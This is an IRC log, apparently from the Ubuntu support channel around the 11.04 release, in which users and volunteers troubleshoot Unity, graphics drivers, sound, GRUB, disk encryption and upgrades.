[16:42] <sipior> junco: yeah, let me see if i can find that factoid...
[16:42] <sipior> !bug > junco
[16:42] <ubottu> junco, please see my private message
[16:42] <dennda> this unity thing doesnt exactly seem to be stable
[16:43] <junco> sipior: got it thanks!
[16:43] <dusf> can somebody please help me open the install now link on http://www.getdeb.net/software/Songbird - gdebi is installed
[16:44] <numbah1hax0r> is a 3 GHz processor good?
[16:44] <numbah1hax0r> like for ubuntu?
[16:44] <sipior> numbah1hax0r: just fine, yes.
[16:44] <DexterF> hi
[16:44] <Arowana> hi
[16:45] <MonkeyDust> !hi
[16:45] <Arowana> performance improverment via Swap space??
[16:45] <sipior> Arowana: yes.
[16:45] <GuitarMan517> Dcite: Ok, thats working. Ran ppa purge on the Gnome3 ppa
[16:45] <sipior> :-)
[16:45] <DexterF> I set up 10.10 with encrypted home - basically for testing. now I need that box to auto-login a user and so that contradicts. question: how do I permanently decrypt that home?
[16:46] <sfstikkun> Hi, I thought I was accessing XChat and I was switched over to freenode.  Is there a reason for that?
[16:46] <DexterF> (or *can* I have enc. home and auto-login? tho it's bogus)
[16:46] <GuitarMan517> Dcite: Should I try sudo aptget install ubuntu-desktop now?
[16:46] <KM0201> DexterF: i don't think so.. (but you might be able to)..
[16:46] <envygeeks> DexterF: Try -- http://www.satansgarden.org/2010/03/05/removing-encryption-from-home-directories-in-ubuntu-9-10/
[16:46] <Mali> ok yay.. it only took  amin and I had the ubu natty on the ntfs partitin working.. sorry I forgot about my own boot system :P
[16:47] <Mali> strange, the livecd is in fallback mode?
[16:47] <Mali> if only it remained like so ^^
[16:48] <Mali> took me longer time to figure out this empathy thing ;/
[16:48] <KM0201> Mali: fallback mode?
[16:49] <Mali> well I booted the iso and well it looks like old gnome, not unity
[16:49] <KM0201> oh ok.. Mali you're lucky.. most, the screen just goes black...lol
[16:49] <Mali> on the live cd?
[16:49] <KM0201> Mali: affirmative.
[16:49] <KM0201> when the graphis drivers aren't working properly, that is
[16:50] <Mali> I have launched the iso from disk.. ah ok, nah works like a charm, crispy gfx even .. although this is HOW I want ubuntu. not unity/G3 but ah well
[16:50] <GuitarMan517> Dcite: Made those changes..rebooting. Thanks for your help
[16:50] <DexterF> envygeeks: thanks!
[16:50] <GuitarMan517> ActionParsnip: Thanks
[16:50] <Mali> last time I tried to do that, it ended up crashing my whole system, so I left ubu for a while  but that was beta anyway
[16:50] <lcb> KM0201, have you been lost in action?? :o good to see you ;)
[16:50] <Sandeep_Kr_FOSS> Can anybody help me ?? My "Me menu" disappeared from the Indicator area.
[16:50] <KM0201> lcb: :)  been hanging out in xubuntu/lubuntu  (for obvious reasons.
[16:51] <lcb> KM0201, good ;)
[16:51] <philip_> tips on how to debug ubuntu 11.04 install on mac? ubuntu cd starts to load, shows a little man/keyboard (i think) at bottom of screen for a moment, then shows a prompt (to left) and stays
[16:51] <sfstikkun> Anyone know why sound on Ubuntu is so compromised on a regular basis.  Right now, I cannot use my Ubuntu program to play my music files.
[16:51] <Mali> this is the godo thign about keeping grub on an oem partition , independent of installs.. as long as one has ONE grub2 livecd (Which I didn't but was logged in on arch with grub1 and just installed grub2) and I was set.. phew
[16:51] <KM0201> sfstikkun: do you get an error of some type?
[16:51] <Sandeep_Kr_FOSS> no
[16:51] <Sandeep_Kr_FOSS> Can anybody help me ?? My "Me menu" disappeared from the Indicator area.
[16:51] <Sandeep_Kr_FOSS> Everything is working normally,but i cannot see only the Me Menu
[16:51] <marioman> Hi
[16:52] <Mali> sandeep I *suspect* a lot of new bugs will be abundant due to quite a 'paradigm' in gnome2- gnome 3 (and unity fo rthat matter)
[16:52] <sfstikkun> KM0201, I nothing...no error message, no nothing.  I checked to see if a card was installed and it is.  Still nothing
[16:52] <marioman> How can i get see the short url
[16:52] <marioman> http://goo.gl/7GPk
[16:52] <KM0201> sfstikkun: so you're not getting any sound at all, right?
[16:52] <sfstikkun> right, KM
[16:52] <KM0201> sfstikkun: ok, well thats a little different than music not playing
[16:53] <Mali> oops, I think the installer is trying to unmount the iso partition LOL
[16:53] <researcher123> how to reach an application in 11.04 rapidly?
[16:53] <KM0201> sfstikkun: first, what is your sound device...  if you don't know, open a terminal and type "lspci" w/o quotes, and hit enter, and find your audio controller
[16:53] <wiehan> guys, hi. Installed 11.04. I like it. But, I have very glitchy graphics issues. Nvidia 7300 graphics card (not great, but surely able to run 3D games etc.) On the Nvidia (Reccommended) drivers my desktops loads and shows a desktop (e.g. wallpaper, unity panel, etc.) but nothing happens, funny enough I can interact with the system, it is just now showing it. On the old Nvidia 173 drivers, my system runs OK. But There aren't much effects in unity and not able
[16:53] <Mali> r0hit: are you form sloth?
[16:53] <wiehan>  to do much graphics wise... please help.
[16:53] <marioman> i need help
[16:53] <Mali> sleuth
[16:53] <Mali> slough or
[16:54] <Strav> Hi. I wish to periodically run fsck on my raid5 array to check for bad sectors. My raid is formatted as ext4, would a normal fsck.ext4 do the job for this? (I cannot seem to google a clear documentation about running fsck on a raid array, if anyone can point one out, it'll be much appreciated)
[16:54] <KM0201> marioman: all the mind-readers have left for the day
[16:54] <sfstikkun> KM0201, I'm going to do that now. BB in bit
[16:54] <KM0201> sfstikkun: uh.. ok
[16:54] <r0hit> Mali, no, just an fglrx user
[16:54] <Mali> damn , of all the millions of rohits, I hoped for a random encounter with an old bud ;)
[16:54] <Pudabudigada> Anyone know about Natty sound issues? My computer is now useless for any media.
[16:55] <r0hit> :)
[16:55] <Mali> :)
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[16:56] <lubuntu> lol
[16:56] <r0hit> SASL or SSL? :p
[16:56] <wiehan> and when I open additional drivers (restricted drivers thingy) It says the Nvidia [recommended] drivers is installed (green light next to it), but beneath it says it is not enabled. Please help
[16:56] <ikonia> lets just move along please.
[16:56] <sipior> strav: yes, that should be fine. fsck operates on the filesystem; raid is more or less an orthogonal issue.
[16:56] <delinquentme> ^^^ false alarm right ??
[16:56] <Mali> SASL of course: Sassy Anti-Secure Layer!
[16:56] <delinquentme> that was not official?
[16:56] <philip_> all tips for installing ubuntu on intel macs welcome, or how to debug a stuck prompt issue during ubuntu cd load
[16:58] <r0hit> since vboxvideo doesn't support OpenGL (2.0 ?), running Natty in virtualbox and expecting Unity to pop up is futile right?
[16:58] <oCean> r0hit: I run 11.04 in vbox
[16:59] <oCean> r0hit: with unity that is
[16:59] <Pimmetje> Hi all, I am having a question about dualscreen & Displayport on intel hd graphics, i have dualboot (11.04) on windows both screens work fine. On ubuntu one screen has all colors messed (more green & red). I used PowerStrip to get the settings for xrand but no luck. Maybe anyone here can help me?
[16:59] <r0hit> oCean, any quirks or fiery hoops you had to jump thru to get that working?
[16:59] <Fiery> ?
[16:59] <Pudabudigada> Anyone know about Natty sound issues? My computer is now useless for any media.
[16:59] <oCean> r0hit: install the guest additions in natty, and enable 3d-acceleration in vbox settings for that vmachine, that was all
[16:59] <r0hit> Fiery, sorry false alarm :)
[17:00] <Mali> probably a lot of loops on fire yesh.. like a midsummer night's lady of the night's erm treasurebox
[17:00] <Fiery> heh no problem r0hit
[17:00] <Pudabudigada> The sound cracks in any media player I try
[17:00] <Pudabudigada> Worst in Vlc
[17:00] <Mali> puda , you on alsa or?
[17:01] <wiehan> When I start my computer I get a black screen (way before X starts) that just says "error: parse file not allowed" - I presume it might have something to do with the face that I used my old install partition as my /home. but How do I fix it?
[17:01] <KM0201> Pudabudigada: vlc is a mess in 11.04 right now, not sure why... i've had really good luck w/ Parole Media Player
[17:01] <r0hit> oCean, funny i did that. it bails out with GL_EXT_copy_texture being not supported... VBox 4.0.6 btw
[17:01] <Mali> blah, sound slike 11.04 is like 10.04.. not the best version
[17:01] <oCean> r0hit: yep, 4.0.6 here too
[17:01] <samzor_> I have updated my station from 10.04 to 11.04 and i cant get unity to work and i think it's due to the nvidia drivers anyone have any pointers ?
[17:01] <cheshire_fox> Got a problem with my wireless.  With in the last 12 hours network-manager suddenly refuses to connect to any wireless network (password protected or not_.
[17:01] <KM0201> Mali: 11.04 is fine.. it just has some issues... but with such heavy changes, thats to be expected
[17:02] <quiel> anyone got the battery indicator working in 11.04?
[17:02] <Mali> ye KM0201: fair enough, but I came back here for stability issues... but perhaps hmm,
[17:02] <Strav> sipior: thanks
[17:02] <bradland> i'm looking for help interpreting this bug report: https://bugs.launchpad.net/ubuntu/+source/indicator-application/+bug/569273
[17:02] <ubottu> Ubuntu bug 569273 in indicator-application (Ubuntu Lucid) "memory leak in gnome-power-manager" [Medium,Triaged]
[17:02] <Mali> ah man I been distro hopping for 2 months now... what a nightmare :p
[17:02] <Pudabudigada> KM0201, Parole isn't working at all.
[17:02] <Strav> sipior: I'll just schedule one and see what happens.
[17:02] <bradland> it looks like lucid is marked as "won't fix", but it's an LTS release, so I'm kind of confused.
[17:02] <Pudabudigada> It's not even starting to play.
[17:02] <ksbalaji> The Desktop icons defaults to -keep aligned- everytime I start the pc. Can't I permanently set it otherwise please?
[17:02] <wiehan> samzor_ also having issues
[17:02] <KM0201> Mali: honestly, if you want ultimate stability, look at something other than unity.. you might even consider xubuntu or lubuntu or kubuntu.. just a lot of changes on the gnome side right now
[17:02] <samzorio> wiehan did you manage to fix it ?
[17:02] <r0hit> oCean, your graphics hardware?
[17:02] <Mali> ye lubuntu is cool
[17:03] <lubuntu> yes i know :)
[17:03] <wiehan> samzorio: no, no one is helping here.
[17:03] <Mali> true KM0201: but I also wanna get used to G3 , might as well as frikking  as kde has alwasy crashe don me since 2000
[17:03] <lubuntu> but i have problem with gdesktoplets
[17:03] <Mali> hehe lubuntu :p
[17:03] <lubuntu> gdesklets
[17:03] <lubuntu> its blin
[17:03] <Mali> compiz + lxde any nifty?
[17:04] <lubuntu> blink
[17:04] <KM0201> Mali: i just haven't been able to embrace gnome 3 yet (on ubuntu anyway)
[17:04] <lubuntu> i dont use compiz
[17:04] <Mali> KM0201: it is why I left ubuntu (unity + G3) although unity actually was a bit nicer I guess
[17:04] <Younder> to get unity to work with nvide try sudo apt-get install compizconfig-settings-manager
[17:04] <Pudabudigada> KM0201,  Ahh, it works now! Thanks!
[17:04] <KM0201> Pudabudigada: what does?
[17:04] <Younder> It has some settings that might help
[17:04] <Mali> but gnome man.. I loved them for a decade.. and well if ONLY I can bring down the menu bar back onto the windows I guess I can deal with it :p
[17:04] <Pudabudigada> KM0201,  I can play music
[17:05] <KM0201> oh, well, thats a relief
[17:05] <Mali> I HATE moving my mouse up to the top for each little bl**dy thing I gotta do
[17:05] <KM0201> lol
[17:05] <Pudabudigada> KM0201,  The odd skip, but it's much better.
[17:05] <coz_> Mali,   then log off and log back onto classic gnome
[17:05] <lubuntu> Mali,  in gnome you can take down
[17:05] <Mali> lubuntu: I wa shoping so, but couldn't figure it out, ende dup deleteing the whole menu.. how?
[17:05] <Combatjuan> This might be a dumb question, but what happened to xorg.conf in natty?  Did X get replaced by that zany new fangled thing?
[17:06] <Mali> coz_: when i did that I couldn't log back in to my system, had to reformat and went arch linux instead
[17:06] <lubuntu> Mali then you log out you see on down combobox to choose a classic ubuntu
[17:06] <Pudabudigada> Ok, audio seems to work as long as I don't touch the pc while it's playing.
[17:06] <Mali> it's actually AWESOME but pacman is still a lil unreliable
[17:06] <jatt> Combatjuan: it's configured automatically however you can generate a xorg.conf if you want
[17:06] <KM0201> Pudabudigada: lol
[17:06] <KM0201> Mali: i like pacman
[17:06] <Mali> nope lubuntu when I enabled fallabck on (beta) it entirely crashed couldn't log in in any X
[17:06] <torchie> what's sasl
[17:06] <Combatjuan> jatt: I need to adjust some touchpad options that aren't present in the gui.  How do I generate an xorg.conf?
[17:07] <Mali> KM0201: so do I , but it isn't reliable
[17:07] <coz_> Mali,   ?? seriously?  all you needed to do    is log off,, type in your password  and before hitting enter change the session to Classic.. or in UNity,, although I dont reccoment this,, open a terminal and type   gnome-panel & disown
[17:07] <Mali> and typically, when I try and fix things, it gets itself stucjk and breaks my system, hehe
[17:07] <Mali> nope coz_ I COUDN'T I am trying ot tell you now
[17:07] <KM0201> Mali: lubuntu doesn't have a fall back,b ecause it doesn't support 3d
[17:07] <Mali> aka beta bug I guess... or alpha 3... either way.. KDE as well crashed every 3 mins
[17:08] <lubuntu> lxde is super light and very speed
[17:08] <Mali> \so I left ubuntu
[17:08] <jatt> Combatjuan: Xorg -configure
[17:08] <Combatjuan> jatt: Thanks.
[17:08] <Mali> yesh, but I like my compiz effects ;) although I saw a very nice layout on youtube with compiz + lxde tbh
[17:08] <lapion> how do I disable application restart upon crash ?
[17:08] <Mali> anyway, I wrote a post install script for archlinux and I'm at the nightmare now of seieng if I will implement wm + de combos
[17:09] <Mali> or just stick to some basic confs
[17:09] <oCean> Mali: chit chat in #ubuntu-offtopic please
[17:09] <Mali> ye ok.. sorry :)
[17:09] <Mali> not a single channel on the planet I don't get showve dinto offtopic ;)
[17:09] <MrADz> Hi guys, My web cut out whilst downloading 11.04 and now when I try and run the installer it fails to fetch packages??
[17:09] <wildc4rd> afternoon all
[17:10] <Mali> MrADz: that sounds like a potentially broken ISO , have you checked the mda5sum?
[17:10] <MrADz> Sorry I have no idea what you're talking about
[17:11] <BinaryMan> hi. upgraded to 11.04 and started using xfce. it's not respecting the keyboard shortcuts I have set up.
[17:11] <coz_> MrADz,  there is the mini install cd  19 megs,, little to get corrupted,, however it is NOT a live cd..
[17:11] <MrADz> No, I'm just trying to install the upgrade in update manager
[17:11] <coz_> MrADz,  ah ok
[17:12] <xadhoom> why can the ubuntu installer only use predefined mountpoints?
[17:12] <Omega> !md5 | MrADz
[17:12] <ubottu> MrADz: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[17:12] <coz_> MrADz,  is it necessary for you to upgrade,,, cannot backup?
[17:12] <BinaryMan> xadhoom: it doesn't. you can specify your own mountpoints.
[17:12] <MrADz> tbh I could backup but for easier upgrade
[17:12] <gh0st> hello
[17:12] <xadhoom> BinaryMan, i can not type in text
[17:13] <BinaryMan> xadhoom: you don't have to. when you get to the partitioning screen, set the mountpoints by hand.
[17:13] <coz_> MrADz,  the only reason is that I generally do not ask people to upgrde,, ubuntu upgrades are consistently inconsistent,, clean installs give you ,, at the very least,, the confort that any problems are not related to the upgrade itself
[17:14] <xadhoom> BinaryMan, yes but i can only select from a dropbox
[17:14] <xadhoom> BinaryMan, i can not type /blahblah into it
[17:14] <Omega> coz_: Most problems we have to deal with here come from upgrades.
[17:14] <coz_> Omega,  this I have seen over the years  for sure
[17:14] <coz_> upgrades can be a PITA  to troubleshoot
[17:15] <BinaryMan> xadhoom: that's because /blahblah isn't a recognized mount point.
[17:15] <giacomo> buona sera a tutti
[17:15] <coz_> giacomo,  salve :)
[17:16] <oCean> coz_: no need for such acronyms I think
[17:16] <thevishy> i had given upgrade command earlier and went for work
[17:16] <coz_> oCean,  you mean the pita thing?
[17:16] <giacomo> vorrei chiedere se e possibile come installare office 2007 nel mio portatile  grazie
[17:16] <thevishy> how do I know if Natty is installed ?
[17:16] <thevishy> !release
[17:16] <ubottu> Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at https://wiki.ubuntu.com/Releases & http://wiki.ubuntu.com/TimeBasedReleases
[17:16] <oCean> coz_: indeed :( One leads to another etc etc
[17:16] <sipior> coz_: i wouldn't worry about it.
[17:17] <cheshire_fox> For some reason network manager isn't running
[17:17] <coz_> oCean, this I have also seen over the years... generally not thar particular one is at fault though :)
[17:17] <thevishy> how do I know my  current ubuntu version
[17:17] <coz_> thevishy,  in terminal      lsb_release -a
[17:18] <thevishy> it says maverick
[17:18] <thevishy> how do I upgrade to natty
[17:18] <coz_> thevishy,  that is 10.10
[17:18] <Tm_T> !upgrade
[17:18] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[17:18] <cheshire_fox> Earlier  it decided not to work with any wifi ap, then it said my wireless card wasn't working because the firmware wasn't in place, and now the applet says network manager is not working at all.  Help?
[17:18] <The-Kernel_> hi, is there a way to get iptables to drop ONLY rtpevents? I googled and didn't find anything.
[17:18] <coz_> thevishy,  is it important to upgrade or can you clean install with no issues?
[17:19] <dualcore> i installed ubuntu 11.04 and now i am getting 403 - Forbidden for all my lighttpd vhost? help!?
[17:19] <thevishy> I think clean issue is also fine coz_
[17:19] <thevishy> but I need to use USB then right
[17:19] <giacomo> scusate scappo ci sentiamo dopo
[17:19] <coz_> thevishy,  is this a netbook ?
[17:19] <thevishy> is natty significantly better than maverick
[17:19] <thevishy> coz_ yeah
[17:20] <sebsebseb> thevishy: for some users yes, for other users no
[17:20] <noes1s> Im doing a script, can someone do "ls .gconf/system/networking/connections/*" and tell me the output?
[17:20] <thevishy> right
[17:20] <coz_> thevishy,   oh ! mm I have absolutely no experience with netbooks other than knowing there is no cd in them...sorry
[17:20] <thevishy> I did USB install initially
[17:20] <brass> What is the preferred method of setting up a desktop terminal server?    I used to use xdmcp, but that seams impossible with ubuntu.  I've read about a vncserver and freenx.  Anyone have an opinion?
[17:20] <sebsebseb> thevishy: altough it seems quite a lot aren't that happy with the new Unity interface in 11.04 for example
[17:21] <coz_> thevishy,  i would probably ,, in your place,  do the same with 11.04..
[17:21] <thevishy> Yeah I was against Unity interface btw :)
[17:21] <sebsebseb> thevishy: you should be able to try from the Ubuntu website now
[17:21] <sebsebseb> the Unity 2D
[17:21] <sebsebseb> in a web browser
[17:21] <codingenesis> can any one tell me that, can we design our own architecture of a computer??
[17:22] <fi103910> hi all - I'm very unexperienced with Linux (know some, but not much...) and ran into a problem after updating to 11.04. For some reason, the "default boot" option doesn't work. Can someone help me with this... ? :)
[17:22] <trailoryo> Hey, what do i do to paste this line automatically every time I start XChat? "/msg NickServ Identify trailoryo xxxxxxxx"
[17:22] <dimkin> hello! i want to install ubuntu server @ via c3 700Mhz mitx mobo. do i really need recomended x64 version ? ;)
[17:22] <coz_> fi103910,  ah what shows up when you try to boot?
[17:22] <sebsebseb> fi103910: I guess upgrading broke your booting,  may just be some issue with Grub 2, but Grub 2 isn't that easy to configure, espesaily as a newbie
[17:22] <smw> trailoryo, I suggest you set the server password to trailoryo:xxxxxxx
[17:22] <raju> trailoryo:  click freenode at xchat network list and edit give the password server password
[17:22] <sebsebseb> !grub2 | fi103910
[17:23] <ubottu> fi103910: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[17:23] <Promille> Why is the update to Natty so extremely slow(100kb/s average). I can theoretically do 1.85mb/s, and I usually max it with the update manager
[17:23] <fi103910> well, it's strange - if I choose the "use older version" option, but choose the same 11.04 version - it works just fine...
[17:23] <roasted> Hey guys - has the Unity bug with dual screen monitors been fixed so I can have my right-side monitor as the main with Unity's bar on it?
[17:23] <thevishy> Maybe I can also stick with 10.10 for some time and switch too
[17:23] <sebsebseb> fi103910: ok so it boots up with an older kernel?
[17:23] <codingenesis> can any one tell me that, can we design our own architecture of a computer??
[17:23] <trailoryo> Thanks smw & raju
[17:23] <smw> trailoryo, that can be done by clicking on freenode in the list. and then clicking edit
[17:23] <oCean> Promille: the servers still might be hitting a lot of traffic
[17:23] <sebsebseb> roasted: no don't think so
[17:23] <smw> trailoryo, np
[17:23] <coz_> roasted,  which video card do you have on that system?
[17:23] <ActionParsnip> codingenesis: i'd ask in ##hardware
[17:23] <roasted> coz_, nvidia 9600gt
[17:23] <fi103910> yes and no - it's the same kernel, but throught the "use older version" option...
[17:24] <roasted> sebsebseb, bummer. :(
[17:24] <raju> trailoryo:  welcome :S
[17:24] <raju> :)
[17:24] <Promille> oCean: ye, maby. but should be possible to have to options to switch mirrors, so the traffic can be dealt better between the mirrors
[17:24] <sebsebseb> roasted: altough to be honest  not that sure what bug your reffering to, but I guess since 11.04 is security updates only, no is the answer to your question
[17:24] <Kruptein> is it fine to install the 2.6.39 rc4 headers in natty?
[17:24] <Kruptein> or will it cause problems ? (never update my kernel manually)
[17:24] <dimkin> hello! i want to install ubuntu server @ via c3 700Mhz mitx mobo. do i really need recomended x64 version ? ;)
[17:24] <roasted> sebsebseb, when you are running 2 monitors, you can't move the unity bar anywhere else EXCEPT on the far far left.
[17:24] <fi103910> it's a bit confusing, sorry - but I just checked, the kernel versions are exactly the same on "default" and the one I can choose from "older version"
[17:24] <coz_> roasted,  well   I dont think the launcher or even the upper panel can be moved,, the opton with nvidia,,of course is you could make the monitor on the right the primary monitor but that would be awkward to work with
[17:25] <roasted> sebsebseb, I want it on the left of my main screen (which is on the right)
[17:25] <sebsebseb> Kruptein: why upgrade the kernel manually? oh and espesaily why to a release candidate?
[17:25] <codingenesis> ActionParsnip : yes !!
[17:25] <ActionParsnip> Kruptein: can't see why not, your kernel and kernel issues will not be supported here as you are using an unofficial kernel
[17:25] <roasted> coz_, it has to be moveable, as Im sure half of the dual screen world is screaming about it now.
[17:25] <BinaryMan> dimkin: only if the server your going to install it on has 64-bit hardware
[17:25] <sebsebseb> roasted: I think that's something that won't be fixed untill maybe the next release, for what your reffering to
[17:25] <thevishy> is my netbook 64 bit ?
[17:25] <codingenesis> can i theoretical do it and then implement it ??
[17:25] <ActionParsnip> codingenesis: don't see why not
[17:25] <roasted> sebsebseb, LOL. you gotta be kidding. Next release = fail if that's how long it will take.
[17:25] <coz_> roasted,  well if it can be I have not found a way  on my dual monitor set up...i simply put the launcher panel into auto hide and replace with cairo dock
[17:25] <codingenesis> ActionParsnip: :)
[17:26] <sebsebseb> roasted: well 11.04 is security updates only as far as I know, so don't expect any Unity fixes in it
[17:26] <trailoryo> working fine;)
[17:26] <Kruptein> sebsebseb, ActionParsnip well  I read on the ubuntuforums that my slow internet connection is the cause of the 2.6.38 kernel and that I should either upgrade or downgrage
[17:26] <roasted> sebsebseb, I mean within a month or so would be nice to see the feature there... a feature that should have been there since day 1 if you ask me.
[17:26] <Kruptein> my internet connection was fine in 10.10  and in windows 7 (dual boot) also,  but since I upgraded to natty it is terrible slow
[17:26] <guy24> hello
[17:26] <roasted> sebsebseb, I can understand being limited on feature set, but at least keeping the potion for dual screeners out there... that just *makes sense*
[17:26] <dimkin> BinaryMan, but somewhere in faq i found , that x64 will be same or beetter, comparing to x86 :)
[17:26] <sebsebseb> Kruptein: well don't upgrade to a releae candiate of the next one, and you shoudn't need to install another kernel yourselfl ike that
[17:26] <ActionParsnip> Kruptein: then natty may not be the release for you
[17:27] <guy24> my computers went of in the middle of a ubuntu distro upgrade
[17:27] <sebsebseb> roasted: well that's not how Ubuntu works, a release comes out, and useually only gets security updates after woulds
[17:27] <dimkin> it's too confusing to my mega CPU :D
[17:27] <coz_> roasted,  well at least that is correct... a month or so should have most of the glitches worked out,, if you find a way to move the Unity launcher let me know :)
[17:27] <trailoryo> Anyone knows why im not allowed to make new partitions in GParted?
[17:27] <guy24> im trying to read my encrypted hard drive
[17:27] <roasted> coz_, certainly will. thanks.
[17:27] <guy24> sudo cryptsetup luksOpen /media/sda1 crypt1
[17:27] <guy24> Cannot open device /media/sda1 for read-only access.
[17:27] <codingenesis> ActionParsnip: can you tell me why don't mobile phones can have faster and more powerfull processors?? It's limitation ??
[17:27] <fi103910> sebsebseb - shouldn't the boot be exactly identical, regardless of which way I boot ? Default or "older version" - as long as the version I select is the same kernel version ?
[17:27] <sebsebseb> coz_: roasted they will continue work on Unity for 11.10 yes, but don't expect those changes to end up in Unity in 11.04
[17:27] <ActionParsnip> trailoryo: is the drive in use, or partitions you are trying to manipultae mounted?
[17:27] <Kruptein> sebsebseb, ActionParsnip well I have upgraded already :D so would downgrading be dangerous?
[17:27] <ojii> is there a way to change the shortcuts in the launcher? I won't ever need the "view photos" one so replacing it with something which is useful to me would be nice
[17:27] <ActionParsnip> codingenesis: power consumption
[17:27] <roasted> sebsebseb, that sounds so fail. hate to sound negative but, that's really bad.
[17:27] <coz_> sebsebseb,  that also makes sense
[17:27] <coz_> :)
[17:28] <ray24> hi, how do you auto-authenticate wireless keyring?
[17:28] <codingenesis> ActionParsnip: Is that it's limitation lies in hardware??
[17:28] <trailoryo> ActionParsnip, yes
[17:28] <ActionParsnip> codingenesis: more mhz = more power = shorter battery life
[17:28] <ActionParsnip> trailoryo: then thats why
[17:28] <codingenesis> ActionParsnip: ya that is a main point.
[17:28] <guy24> sudo cryptsetup luksOpen /media/sda1 crypt1
[17:28] <guy24> Cannot open device /media/sda1 for read-only access.
[17:28] <trailoryo> ActionParsnip, oh, so what do I do then lol.
[17:28] <guy24> does anybody has a clue ?
[17:28] <ActionParsnip> codingenesis: you can clock / underclock rooted android phones buy the battery life will go seriosly down if you make it faster
[17:29] <sebsebseb> roasted: well Ubuntu isn't a rolling release like....  well there are people here who don't like other distro's being mentioned in here,  but one does come to mind, when it comes to getting security updates, but also proper later versions of programs when stable enough.
[17:29] <coz_> guy24,   is /media/sda1  a partition ,, what is it?
[17:29] <ActionParsnip> trailoryo: get the partitions freed. If you are trying to manipulate the partitions and disk you are booted to it won't work. You will need a livecd environment
[17:30] <sebsebseb> roasted: of course as far as I  know Unity is pretty much Ubuntu only at the moment though, because of certain technical reasons
[17:30] <codingenesis> ActionParsnip: so designing such an architecture for mobile phone which is power efficient is the key thing right ???
[17:30] <trailoryo> ActionParsnip, ok :) thanks
[17:30] <ActionParsnip> codingenesis: if you can make the same app need less speed to run, or improve battery life then you can push CPUs faster
[17:30] <roasted> sebsebseb, well, I'm sure that has potential to change once ubuntu gets off of the guinea pig test-drive that they're currently doing with it.
[17:30] <Pici> !ot | codingenesis ActionParsnip
[17:30] <ubottu> codingenesis ActionParsnip: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[17:30] <ActionParsnip> codingenesis: that is one way too yes, many use ARM CPUs as they are pretty good with power
[17:31] <Kruptein> I'm defintly not the only one who notices this speed issues
[17:31] <sebsebseb> roasted: no it will probably remain a versions distro, that only tends to get security updates, for well many years to come yet
[17:31] <codingenesis> ActionParsnip:  thanks  :)
[17:31] <roasted> sebsebseb, I have no idea what you just said. I'm referring to Unity on other distros.
[17:32] <KatronixSerf> Hi all, I think I changed what my swap partition is, is there an easy way to verify the server is using the new swap partition?
[17:32] <sebsebseb> roasted: well  a guy from Fedora tried to do just that and even get it into the main repo's, and another guy tried to provide it for OpenSuse, but yep some technical issues.  Anyway this is going off topic now.
[17:33] <codingenesis> ActionParsnip: for that nano technology is the key technology to develop such an efficient architecture ...
[17:33] <Pici> codingenesis: This channel is for Ubuntu support only. Please move the coversation to pm, or to another channel.
[17:34] <codingenesis> Pici : ok sorry for that...
[17:34] <KatronixSerf> anyone?
[17:34] <fi103910> is there any difference between 2.6.38-8-generic-pae & 2.6.38-8-generic ... ?
[17:34] <intuition> Hey all
[17:35] <dennda> http://the-space-station.com/~dennda/tmp/error.png -- ideas?
[17:35] <ayecee> KatronixSerf: I think "swapon -s" shows what's being used for swap.
[17:35] <fx> got a big problem, And im stuck on with troubleshooting. SSHD on my box wont let me in, Nothing bad in log, Even replies to netcat
[17:35] <KatronixSerf> thanks ayecee
[17:35] <lapion> I have a problem with an application constantly restarting.
[17:35] <fi103910> that's the only difference between the kernels I use - one works (generic), the other doesn't (default boot, generic-pae)...
[17:35] <teegee543> hey, i upgraded to 11.04 and now evolution tasks aren't showing up in my calendar applet :( however, a subscribed calendar does show up in the applet
[17:35] <coz_> fi103910,  the PAE kernel will allow a 32 bit system to see and use  more than 3.5 gigs of memory
[17:35] <bluelf> hi guys I recently upgraded to 11.04 I am not able to install xbmc is it something to do with latest ubuntu , I cant even find it in synaptic package manager
[17:36] <fi103910> coz- is that the only difference ?
[17:36] <fi103910> since that one doesn't work for me - it doesn't boot at all
[17:36] <TomThumb> New install ubuntu 11.4, when using Software Centre it says "Check your internet connection", I am online..  How do i fix this?
[17:36] <Omega> dennda: fresh isntall?
[17:36] <fx> SSH problems : http://paste.ubuntu.com/602371/
[17:36] <sdwrage> Hey all
[17:36] <KM0201> TomThumb: thats amazing
[17:36] <ayecee> fi103910: it may be that your processor doesn't support the PAE extension.
[17:36] <sdwrage> How do I prepare Grub for a Windows 7 install?
[17:36] <codingenesis> how can i become an ubuntu developer??
[17:37] <fi103910> ayecee - any idea how to fix that... ? any updates I should do ?
[17:37] <lapion> I started mythtv frontend, but since the backend is of a different version the frontend ends with an errorlevel 251, and ubuntu keeps on wanting to restart the mythtv-frontend
[17:37]  * KM0201 goes to google for Ubuntu 11.4   can't find it
[17:37] <sdwrage> I need to dual boot Windows 7 on my laptop that already has Ubuntu 11.04
[17:37] <ayecee> fi103910: err.. fix what?
[17:37] <iceroot> !download | KM0201
[17:37] <ubottu> KM0201: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[17:37] <codingenesis> so for that what i have to do???
[17:37] <intuition> I'm having a problem starting up eclipse in ubuntu 10.04. It worked fine for months until yesterday. Today when i launch it i get this window http://img863.imageshack.us/img863/2776/screenshotuvb.png . I will also not get any additional info when i try to launch it from terminal. I already tried reinstalling it but ... well.. it's ubuntu.. not windows :P Can anyone tell me how could i possibly solve this issue please ?
[17:37] <KatronixSerf> how can you resize your / partition?
[17:37] <TomThumb> KM0201: OK, you have any idea how to fix?
[17:37] <sdwrage> is there an easy way to setup boot to where I dont have to recover grub?
[17:37] <Omega> KM0201: We're not here to make fun of people.
[17:37] <coz_> bluelf,  I believe there is a 11.04  ppa for xbmc,, let me see if I can find it
